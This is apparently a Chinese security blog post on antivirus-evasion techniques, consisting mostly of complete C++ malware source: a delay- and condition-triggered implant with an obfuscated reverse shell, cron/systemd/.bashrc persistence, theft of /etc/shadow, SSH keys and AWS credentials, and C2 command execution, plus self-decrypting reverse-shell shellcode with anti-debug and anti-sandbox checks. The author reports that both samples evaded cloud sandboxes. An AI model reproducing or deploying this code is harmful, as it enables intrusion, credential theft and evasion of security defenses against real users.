cv.wait_for(lock, std::chrono::minutes(5));
if (checkAllConditions()) {
should_execute = true;
break;
}
// 随机延迟避免模式检测
std::this_thread::sleep_for(std::chrono::milliseconds(100 + std::rand() % 1000));
}
std::cout << "[+] 执行条件已满足" << std::endl;
}
bool shouldExecute() const {
return should_execute.load();
}
private:
void monitorConditions() {
while (!should_execute) {
// 定期检查所有条件
bool all_conditions_met = checkAllConditions();
if (all_conditions_met) {
std::lock_guard<std::mutex> lock(mtx);
should_execute = true;
cv.notify_all();
break;
}
// 监控间隔随机化
int sleep_seconds = 30 + std::rand() % 300;
std::this_thread::sleep_for(std::chrono::seconds(sleep_seconds));
}
}
bool checkAllConditions() {
int met_conditions = 0;
int total_conditions = 6;
if (checkUptime()) met_conditions++;
if (checkTimeOfDay()) met_conditions++;
if (checkNetworkConnectivity()) met_conditions++;
if (!conditions.require_user_active || checkUserActivity()) met_conditions++;
if (!conditions.require_low_cpu || checkCpuUsage()) met_conditions++;
if (checkAvailableMemory()) met_conditions++;
// 需要满足至少75%的条件
return met_conditions >= (total_conditions * 3 / 4);
}
bool checkUptime() {
std::ifstream uptime_file("/proc/uptime");
if (!uptime_file) return false;
double uptime_seconds;
uptime_file >> uptime_seconds;
return uptime_seconds > conditions.min_uptime;
}
bool checkTimeOfDay() {
time_t now = time(nullptr);
struct tm* local = localtime(&now);
// 在目标时间前后1小时内
int current_hour = local->tm_hour;
int hour_diff = std::abs(current_hour - conditions.target_hour);
return hour_diff <= 1;
}
bool checkNetworkConnectivity() {
// 测试多个目标以确保网络连通性
std::vector<std::string> test_targets = {
"8.8.8.8", // Google DNS
"1.1.1.1", // Cloudflare DNS
"www.google.com"
};
int successful_tests = 0;
for (const auto& target : test_targets) {
std::string cmd = "ping -c 1 -W 1 " + target + " > /dev/null 2>&1";
if (system(cmd.c_str()) == 0) {
successful_tests++;
}
// 测试间随机延迟
std::this_thread::sleep_for(std::chrono::milliseconds(100 + std::rand() % 400));
}
return successful_tests >= 2; // 至少两个目标可达
}
bool checkUserActivity() {
// 检查用户活动(简化版)
std::string cmd = "who | grep -q \"pts\\|tty\"";
return system(cmd.c_str()) == 0;
}
bool checkCpuUsage() {
std::ifstream stat_file("/proc/stat");
if (!stat_file) return false;
std::string line;
std::getline(stat_file, line);
unsigned long user, nice, system, idle;
sscanf(line.c_str() + 3, "%lu %lu %lu %lu", &user, &nice, &system, &idle);
unsigned long total = user + nice + system + idle;
unsigned long used = total - idle;
// CPU使用率低于30%
double cpu_usage = (used * 100.0) / total;
return cpu_usage < 30.0;
}
bool checkAvailableMemory() {
std::ifstream meminfo("/proc/meminfo");
if (!meminfo) return false;
unsigned long total_mem = 0, free_mem = 0;
std::string line;
while (std::getline(meminfo, line)) {
if (line.find("MemTotal:") == 0) {
sscanf(line.c_str() + 9, "%lu kB", &total_mem);
} else if (line.find("MemAvailable:") == 0) {
sscanf(line.c_str() + 13, "%lu kB", &free_mem);
break;
}
}
// 转换为MB并检查
free_mem /= 1024;
return free_mem > conditions.min_memory_mb;
}
};
// ====================== 延迟执行器 ======================
class DelayedExecutor {
private:
struct DelayedAction {
std::function<void()> action;
std::chrono::steady_clock::time_point execute_time;
int priority;
bool repeat;
std::chrono::seconds repeat_interval;
bool operator<(const DelayedAction& other) const {
return execute_time > other.execute_time; // 最小堆
}
};
std::vector<DelayedAction> action_queue;
std::mutex queue_mutex;
std::thread executor_thread;
std::atomic<bool> running{true};
public:
DelayedExecutor() {
executor_thread = std::thread([this]() {
executeDelayedActions();
});
}
~DelayedExecutor() {
running = false;
if (executor_thread.joinable()) {
executor_thread.join();
}
}
// 添加延迟动作
void addDelayedAction(std::function<void()> action,
std::chrono::seconds delay,
int priority = 0,
bool repeat = false,
std::chrono::seconds repeat_interval = std::chrono::seconds(0)) {
std::lock_guard<std::mutex> lock(queue_mutex);
DelayedAction delayed_action;
delayed_action.action = std::move(action);
delayed_action.execute_time = std::chrono::steady_clock::now() + delay;
delayed_action.priority = priority;
delayed_action.repeat = repeat;
delayed_action.repeat_interval = repeat_interval;
action_queue.push_back(delayed_action);
std::push_heap(action_queue.begin(), action_queue.end());
}
// 立即执行所有待处理动作
void executeAllNow() {
std::vector<DelayedAction> actions_to_execute;
{
std::lock_guard<std::mutex> lock(queue_mutex);
actions_to_execute.swap(action_queue);
}
for (auto& action : actions_to_execute) {
try {
action.action();
} catch (...) {
// 忽略执行错误
}
}
}
private:
void executeDelayedActions() {
while (running) {
std::this_thread::sleep_for(std::chrono::milliseconds(100));
std::vector<DelayedAction> actions_to_execute;
{
std::lock_guard<std::mutex> lock(queue_mutex);
auto now = std::chrono::steady_clock::now();
while (!action_queue.empty() &&
action_queue.front().execute_time <= now) {
actions_to_execute.push_back(action_queue.front());
std::pop_heap(action_queue.begin(), action_queue.end());
action_queue.pop_back();
}
}
// 执行到期的动作
for (auto& action : actions_to_execute) {
try {
std::cout << "[*] 执行延迟动作..." << std::endl;
action.action();
// 如果需要重复执行
if (action.repeat) {
std::lock_guard<std::mutex> lock(queue_mutex);
action.execute_time = std::chrono::steady_clock::now() +
action.repeat_interval;
action_queue.push_back(action);
std::push_heap(action_queue.begin(), action_queue.end());
}
} catch (...) {
std::cerr << "[-] 动作执行失败" << std::endl;
}
// 动作间随机延迟
std::this_thread::sleep_for(std::chrono::milliseconds(50 + std::rand() % 200));
}
}
}
};
// ====================== 条件触发的恶意功能 ======================
class ConditionalMalware {
private:
ConditionalTrigger trigger;
DelayedExecutor executor;
std::atomic<bool> initialized{false};
// 模糊化的功能函数
std::string deobfuscate(const std::vector<unsigned char>& data) {
std::string result;
unsigned char key = 0xAA;
for (unsigned char c : data) {
result.push_back(static_cast<char>(c ^ key));
key = (key * 13 + 7) & 0xFF;
}
return result;
}
public:
void initialize() {
if (initialized) return;
std::cout << "[*] 初始化条件触发的恶意软件..." << std::endl;
// 添加延迟启动的监控
executor.addDelayedAction([this]() {
std::cout << "[*] 启动条件监控..." << std::endl;
trigger.startMonitoring();
}, std::chrono::seconds(10));
// 添加主执行逻辑(延迟且条件触发)
executor.addDelayedAction([this]() {
if (trigger.shouldExecute()) {
executeMaliciousActions();
} else {
std::cout << "[*] 执行条件未满足,继续等待..." << std::endl;
// 重新调度检查
executor.addDelayedAction([this]() {
if (trigger.shouldExecute()) {
executeMaliciousActions();
}
}, std::chrono::minutes(5));
}
}, std::chrono::minutes(1));
initialized = true;
}
void executeMaliciousActions() {
std::cout << "[+] 开始执行恶意功能..." << std::endl;
// 模糊化的反向shell(条件触发)
if (checkNetworkConditions()) {
executeObfuscatedReverseShell();
}
// 模糊化的持久化(分阶段执行)
executeStagedPersistence();
// 模糊化的数据收集(延迟执行)
executor.addDelayedAction([this]() {
collectSensitiveData();
}, std::chrono::seconds(30));
// 模糊化的命令与控制(定期执行)
executor.addDelayedAction([this]() {
communicateWithC2();
}, std::chrono::minutes(5), 0, true, std::chrono::minutes(30));
}
private:
bool checkNetworkConditions() {
// 检查是否在合适的网络环境中
std::string test_cmd = "curl -s --connect-timeout 3 http://checkip.amazonaws.com 2>/dev/null | head -1";
FILE* pipe = popen(test_cmd.c_str(), "r");
if (!pipe) return false;
char buffer[128];
std::string result = "";
while (!feof(pipe)) {
if (fgets(buffer, 128, pipe) != NULL) {
result += buffer;
}
}
pclose(pipe);
// 检查是否是公网IP(不是NAT或本地网络)
return !result.empty() && result.find("192.168.") == std::string::npos &&
result.find("10.") == std::string::npos &&
result.find("172.16.") == std::string::npos;
}
void executeObfuscatedReverseShell() {
std::cout << "[*] 准备建立模糊化的反向连接..." << std::endl;
// 模糊化的连接参数
std::vector<unsigned char> encoded_ip = {186, 187, 186, 188, 189, 188, 189, 188, 190, 189, 186, 191};
std::vector<unsigned char> encoded_port = {116, 117, 117, 116};
std::string ip = deobfuscate(encoded_ip); // 192.168.1.100
std::string port_str = deobfuscate(encoded_port); // 4444
// 延迟连接尝试
executor.addDelayedAction([ip, port_str]() {
int port = std::stoi(port_str);
// 创建子进程执行反向shell
pid_t pid = fork();
if (pid == 0) {
// 子进程
setsid(); // 创建新会话
// 关闭标准文件描述符
close(0); close(1); close(2);
// 打开/dev/null
open("/dev/null", O_RDWR);
dup(0); dup(0);
// 建立连接(简化版)
while (true) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
sleep(30);
continue;
}
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
inet_pton(AF_INET, ip.c_str(), &addr.sin_addr);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
execl("/bin/sh", "sh", "-i", NULL);
close(sock);
}
close(sock);
sleep(60); // 重试间隔
}
_exit(0);
} else if (pid > 0) {
// 父进程继续执行
return;
}
}, std::chrono::seconds(15));
}
void executeStagedPersistence() {
std::cout << "[*] 分阶段安装持久化..." << std::endl;
// 第一阶段:基础持久化
executor.addDelayedAction([]() {
std::string cron_job = "echo '*/30 * * * * /tmp/.persist1' | crontab - 2>/dev/null";
system(cron_job.c_str());
}, std::chrono::seconds(5));
// 第二阶段:备用持久化
executor.addDelayedAction([]() {
std::string service_content = "[Unit]\nDescription=System Service\n\n[Service]\n"
"Type=oneshot\nExecStart=/tmp/.persist2\n\n"
"[Install]\nWantedBy=multi-user.target";
std::ofstream service("/etc/systemd/system/.system-service.service");
if (service) {
service << service_content;
service.close();
system("systemctl enable .system-service.service 2>/dev/null");
}
}, std::chrono::minutes(2));
// 第三阶段:用户级持久化
executor.addDelayedAction([]() {
std::string profile_cmd = "echo 'nohup /tmp/.persist3 >/dev/null 2>&1 &' >> ~/.bashrc";
system(profile_cmd.c_str());
}, std::chrono::minutes(5));
}
void collectSensitiveData() {
std::cout << "[*] 收集敏感数据..." << std::endl;
std::vector<std::string> targets = {
"/etc/passwd",
"/etc/shadow",
"~/.ssh/id_rsa",
"~/.ssh/id_rsa.pub",
"~/.aws/credentials",
"/etc/hosts"
};
for (const auto& target : targets) {
std::string expanded_target = expandPath(target);
executor.addDelayedAction([expanded_target]() {
std::ifstream src(expanded_target, std::ios::binary);
if (!src) return;
std::string timestamp = std::to_string(std::time(nullptr));
std::string dest_path = "/tmp/." + timestamp + "_" +
std::to_string(std::hash<std::string>{}(expanded_target));
std::ofstream dest(dest_path, std::ios::binary);
if (dest) {
dest << src.rdbuf();
// 简单加密
std::string encrypt_cmd = "openssl enc -aes-256-cbc -salt -in " +
dest_path + " -out " + dest_path + ".enc -k pass123 2>/dev/null";
system(encrypt_cmd.c_str());
// 删除明文文件
std::remove(dest_path.c_str());
}
}, std::chrono::seconds(10 + std::rand() % 30));
}
}
void communicateWithC2() {
std::cout << "[*] 尝试与C2服务器通信..." << std::endl;
// 模糊化的C2通信
std::vector<unsigned char> encoded_c2 = {186, 187, 188, 189, 190, 191};
std::string c2_server = deobfuscate(encoded_c2);
// 发送心跳信号
std::string heartbeat_cmd = "curl -s --connect-timeout 5 http://" + c2_server +
"/heartbeat?id=" + getMachineId() + " 2>/dev/null";
FILE* pipe = popen(heartbeat_cmd.c_str(), "r");
if (pipe) {
char buffer[1024];
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
std::string response(buffer);
processC2Response(response);
}
pclose(pipe);
}
}
std::string expandPath(const std::string& path) {
if (path[0] == '~') {
const char* home = getenv("HOME");
if (home) {
return std::string(home) + path.substr(1);
}
}
return path;
}
std::string getMachineId() {
// 获取机器唯一标识(简化版)
std::string machine_id;
// 尝试读取/etc/machine-id
std::ifstream machine_file("/etc/machine-id");
if (machine_file) {
std::getline(machine_file, machine_id);
}
if (machine_id.empty()) {
// 使用hostname作为后备
char hostname[256];
gethostname(hostname, sizeof(hostname));
machine_id = hostname;
}
return machine_id;
}
void processC2Response(const std::string& response) {
if (response.empty()) return;
// 解析并执行C2命令(简化版)
if (response.find("CMD:") == 0) {
std::string command = response.substr(4);
executor.addDelayedAction([command]() {
system(command.c_str());
}, std::chrono::seconds(1));
}
}
};
// ====================== 主函数 ======================
int main() {
std::cout << "=== 延迟执行和条件触发的恶意软件 ===" << std::endl;
// 初始随机延迟
std::srand(std::time(nullptr));
int initial_delay = 10 + std::rand() % 50;
std::cout << "[*] 初始延迟 " << initial_delay << " 秒..." << std::endl;
std::this_thread::sleep_for(std::chrono::seconds(initial_delay));
ConditionalMalware malware;
// 初始化并等待
malware.initialize();
// 保持主线程运行(简化处理)
std::cout << "[*] 主线程进入等待状态..." << std::endl;
std::this_thread::sleep_for(std::chrono::hours(24));
return 0;
}丢入微步云沙箱未报毒:

360云沙箱:

原样本的汇编代码:

这是使用了延迟执行和条件触发技术的:

汇编代码详细对比
1. 栈帧和内存布局对比
延迟执行版本(复杂栈帧):
sub rsp, 108h ; 264字节栈帧
var_110= byte ptr -110h ; ConditionalMalware对象(272字节)
var_2C= dword ptr -2Ch ; 随机延迟变量
var_28= byte ptr -28h ; duration对象1
var_20= byte ptr -20h ; duration对象2
var_14= dword ptr -14h ; 24小时延迟值
var_8= qword ptr -8 ; 保存的rbx原始版本(简单栈帧):
sub rsp, 20h ; 32字节栈帧
s= byte ptr -20h ; 简单变量
var_18= qword ptr -18h
var_5= byte ptr -5
var_4= byte ptr -4
var_3= byte ptr -3
var_2= byte ptr -2
var_1= byte ptr -1 ; AntiDebug对象(1字节)2. 延迟执行技术
实现的延迟技术:
; 1. 随机延迟生成(核心混淆技术)
mov edi, 0 ; timer
call _time ; time(0) - 获取当前时间
mov edi, eax ; 时间作为随机种子
call _srand ; srand(time(0))
call _rand ; rand() - 生成随机数
; 2. 复杂的随机数处理(避免固定延迟)
movsxd rdx, eax
imul rdx, 51EB851Fh ; 0x51EB851F = 1374389535
shr rdx, 20h ; 右移32位
sar edx, 4 ; 算术右移4位
mov ecx, eax
sar ecx, 1Fh ; 算术右移31位(符号扩展)
sub edx, ecx ; 调整结果
imul ecx, edx, 32h ; 乘以50
sub eax, ecx ; eax % 50
mov edx, eax
lea eax, [rdx+0Ah] ; (rand() % 50) + 10
mov [rbp+var_2C], eax ; 保存延迟秒数:10-59秒3. 多级延迟实现
; 第一级延迟:随机延迟(10-59秒)
lea rdx, [rbp+var_2C] ; 延迟时间引用
lea rax, [rbp+var_28] ; duration对象
call _ZNSt6chrono8durationIlSt5ratioILl1ELl1EEEC2IivEERKT_ ; 创建duration
lea rax, [rbp+var_28]
call _ZNSt11this_thread9sleep_forIlSt5ratioILl1ELl1EEEEvRKNSt6chrono8durationIT_T0_EE ; sleep_for()
; 第二级延迟:固定长时间延迟(24小时)
mov [rbp+var_14], 18h ; 24小时 = 0x18
lea rdx, [rbp+var_14]
lea rax, [rbp+var_20]
call _ZNSt6chrono8durationIlSt5ratioILl3600ELl1EEEC2IivEERKT_ ; hours duration
lea rax, [rbp+var_20]
call _ZNSt11this_thread9sleep_forIlSt5ratioILl3600ELl1EEEEvRKNSt6chrono8durationIT_T0_EE ; sleep 24小时4. 条件触发对象管理
; 复杂对象的构造和生命周期管理
lea rax, [rbp+var_110] ; ConditionalMalware对象地址
mov rdi, rax
call _ZN18ConditionalMalwareC2Ev ; 构造函数
call _ZN18ConditionalMalware10initializeEv ; 初始化方法
; try-catch异常处理(增加分析复杂度)
; try {
; } // starts at 48BE
; 对象析构(完整RAII)
call _ZN18ConditionalMalwareD2Ev ; 析构函数四、自修改代码技术
原理:
SMC通过在运行时修改自身的可执行代码来实现动态行为。传统恶意代码在磁盘和内存中保持相同,易于被静态分析检测。SMC则将加密/混淆的代码在内存中解密,使得静态分析失效。
关键技术点:
- 内存权限控制:使用
VirtualAlloc/mmap分配RWX(读-写-执行)内存 - 代码加密算法:避免简单XOR,使用流密码或多层加密
- 执行前解密:在跳转前即时解密,减少内存中明码时间
代码说明:
// 核心SMC执行引擎示例
void* allocate_executable_memory(size_t size) {
#ifdef _WIN32
return VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
#else
return mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
#endif
}实例展示:
#include <iostream>
#include <cstring>
#include <sys/mman.h>
#include <unistd.h>
#include <chrono>
#include <fstream>
#include <cstdlib>
unsigned char original_shellcode[] = {
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
0x48, 0x31, 0xff, // xor rdi, rdi
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0xc7, 0xc0, 0x29, 0x00, 0x00, 0x00, // mov rax, 41 (socket)
0x0f, 0x05, // syscall
// connect(rax, &sockaddr, 16)
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x31, 0xf6, // xor rsi, rsi
0x56, // push rsi
0x48, 0xbf, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, // movabs rdi, 0x0100007f5c110002 (127.0.0.1:4444, little-endian)
0x57, // push rdi
0x48, 0x89, 0xe6, // mov rsi, rsp
0x48, 0xc7, 0xc2, 0x10, 0x00, 0x00, 0x00, // mov rdx, 16
0x48, 0xc7, 0xc0, 0x2a, 0x00, 0x00, 0x00, // mov rax, 42 (connect)
0x0f, 0x05, // syscall
// dup2(rdi, 0); dup2(rdi, 1); dup2(rdi, 2)
0x48, 0x31, 0xc0, // xor rax, rax
0x48, 0xff, 0xc0, // inc rax
0x48, 0xff, 0xc0, // inc rax
0x48, 0xff, 0xc0, // inc rax (rax=3 → close not needed)
0x48, 0x89, 0xfb, // mov rbx, rdi
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0xc7, 0xc0, 0x21, 0x00, 0x00, 0x00, // mov rax, 33 (dup2)
0x0f, 0x05, // syscall
0x48, 0xff, 0xc6, // inc rsi
0x48, 0xc7, 0xc0, 0x21, 0x00, 0x00, 0x00,
0x0f, 0x05,
0x48, 0xff, 0xc6,
0x48, 0xc7, 0xc0, 0x21, 0x00, 0x00, 0x00,
0x0f, 0x05,
// execve("/bin/sh", ["/bin/sh"], NULL)
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0xbb, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, // movabs rbx, "/bin/sh"
0x53, // push rbx
0x48, 0x89, 0xe7, // mov rdi, rsp
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // mov rax, 59 (execve)
0x0f, 0x05,
// 如果 execve 失败,退出
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, // mov rax, 60 (_exit)
0x48, 0x31, 0xff, // xor rdi, rdi
0x0f, 0x05 // syscall
};
const size_t SHELLCODE_SIZE = sizeof(original_shellcode);
// Step 2: 在运行时加密 shellcode
void encrypt_shellcode(unsigned char* buf, size_t len) {
unsigned char key = 0xAA;
for (size_t i = 0; i < len; i++) {
buf[i] ^= key;
key = (key * 13 + 7) & 0xFF; // 动态密钥更新
}
}
// Step 3: 反调试 / 反沙箱检测
bool is_debugged_or_sandboxed() {
// 检查 TracerPid
std::ifstream status("/proc/self/status");
std::string line;
while (std::getline(status, line)) {
if (line.find("TracerPid:") == 0) {
int tracer_pid = std::stoi(line.substr(10));
if (tracer_pid != 0) {
std::cout << "[-] 调试器检测到 (TracerPid=" << tracer_pid << ")" << std::endl;
return true;
}
}
}
// 时间检测:执行一段计算,判断是否被加速
auto start = std::chrono::high_resolution_clock::now();
volatile unsigned long x = 1;
for (int i = 0; i < 1000000; i++) {
x = x * 1000001ULL;
}
auto end = std::chrono::high_resolution_clock::now();
auto us = std::chrono::duration_cast<std::chrono::microseconds>(end - start).count();
if (us < 2000) { // 正常应 >2ms
std::cout << "[-] 检测到时间加速(可能为沙箱)" << std::endl;
return true;
}
return false;
}
// Step 4: 主函数 - SMC 执行引擎
int main() {
std::cout << "[*] SMC 自修改代码保护启动..." << std::endl;
// 反分析检查
if (is_debugged_or_sandboxed()) {
std::cout << "[!] 进入静默模式(不执行恶意行为)" << std::endl;
sleep(5);
return 0;
}
// 1. 加密原始 shellcode
unsigned char encrypted[SHELLCODE_SIZE];
memcpy(encrypted, original_shellcode, SHELLCODE_SIZE);
encrypt_shellcode(encrypted, SHELLCODE_SIZE);
// 2. 分配可读写可执行内存
const size_t PAGE_SIZE = 4096;
void* exec_mem = mmap(nullptr, PAGE_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("[-] mmap failed");
return 1;
}
// 3. 将加密的 shellcode 复制到可执行内存
memcpy(exec_mem, encrypted, SHELLCODE_SIZE);
// 4. 自修改:在运行时解密
std::cout << "[+] 解密并执行 shellcode..." << std::endl;
unsigned char* p = (unsigned char*)exec_mem;
unsigned char key = 0xAA;
for (size_t i = 0; i < SHELLCODE_SIZE; i++) {
p[i] ^= key;
key = (key * 13 + 7) & 0xFF;
}
// 5. 执行解密后的代码(SMC 完成!)
void (*shellcode)() = (void(*)())exec_mem;
shellcode(); // 注意:此调用通常不会返回(因为 execve 或 _exit)
// 如果返回了(说明 execve 失败),清理内存
munmap(exec_mem, PAGE_SIZE);
std::cout << "[*] Shellcode 执行完毕" << std::endl;
return 0;
}丢入微步云沙箱未报毒:

360云沙箱:

原样本的汇编代码:

使用自修改代码技术的汇编代码:

汇编层面对比分析
1. 栈帧差异
原样本(无SMC):
sub rsp, 20h ; 仅分配0x20(32字节)栈空间SMC样本:
sub rsp, 0D8h ; 分配0xD8(216字节)栈空间分析:SMC样本分配了显著更大的栈空间(216 vs 32字节),这通常是因为:
- 需要存储加密/解密的中间数据
- 需要缓冲区来处理代码修改操作
- 可能有更复杂的控制结构
2. 局部变量结构复杂化
原样本:简单的5个字节变量
var_5= byte ptr -5
var_4= byte ptr -4
var_3= byte ptr -3
var_2= byte ptr -2
var_1= byte ptr -1SMC样本:复杂的结构,包含多个指针和大缓冲区
var_E0= byte ptr -0E0h ; 224字节缓冲区起点
var_D8= qword ptr -0D8h ; 多个qword变量
var_D0= qword ptr -0D0h
...(总共20多个变量)
addr= qword ptr -30h ; 可能是函数指针地址
var_28= qword ptr -28h
var_20= qword ptr -20h
var_11= byte ptr -11h
var_8= qword ptr -83. 函数调用模式不同
原样本:
lea rax, [rbp+var_1]
mov rdi, rax ; this
call _ZN9AntiDebug16checkForDebuggerEv ; AntiDebug::checkForDebugger(void)
test al, al
jnz short loc_12ECSMC样本:
call _Z24is_debugged_or_sandboxedv ; is_debugged_or_sandboxed(void)
test al, al分析:
- 原样本使用C++类方法调用(
AntiDebug::checkForDebugger) - SMC样本使用普通函数调用(
is_debugged_or_sandboxed)
结语
通过这四种核心免杀,能够更全面地理解现代恶意软件的运行机制和对抗
本文深入剖析现代恶意软件采用的四大免杀技术,涵盖环境探测、行为伪装与动态规避机制。
由 AI 根据全文自动生成,仅供参考,以原文为准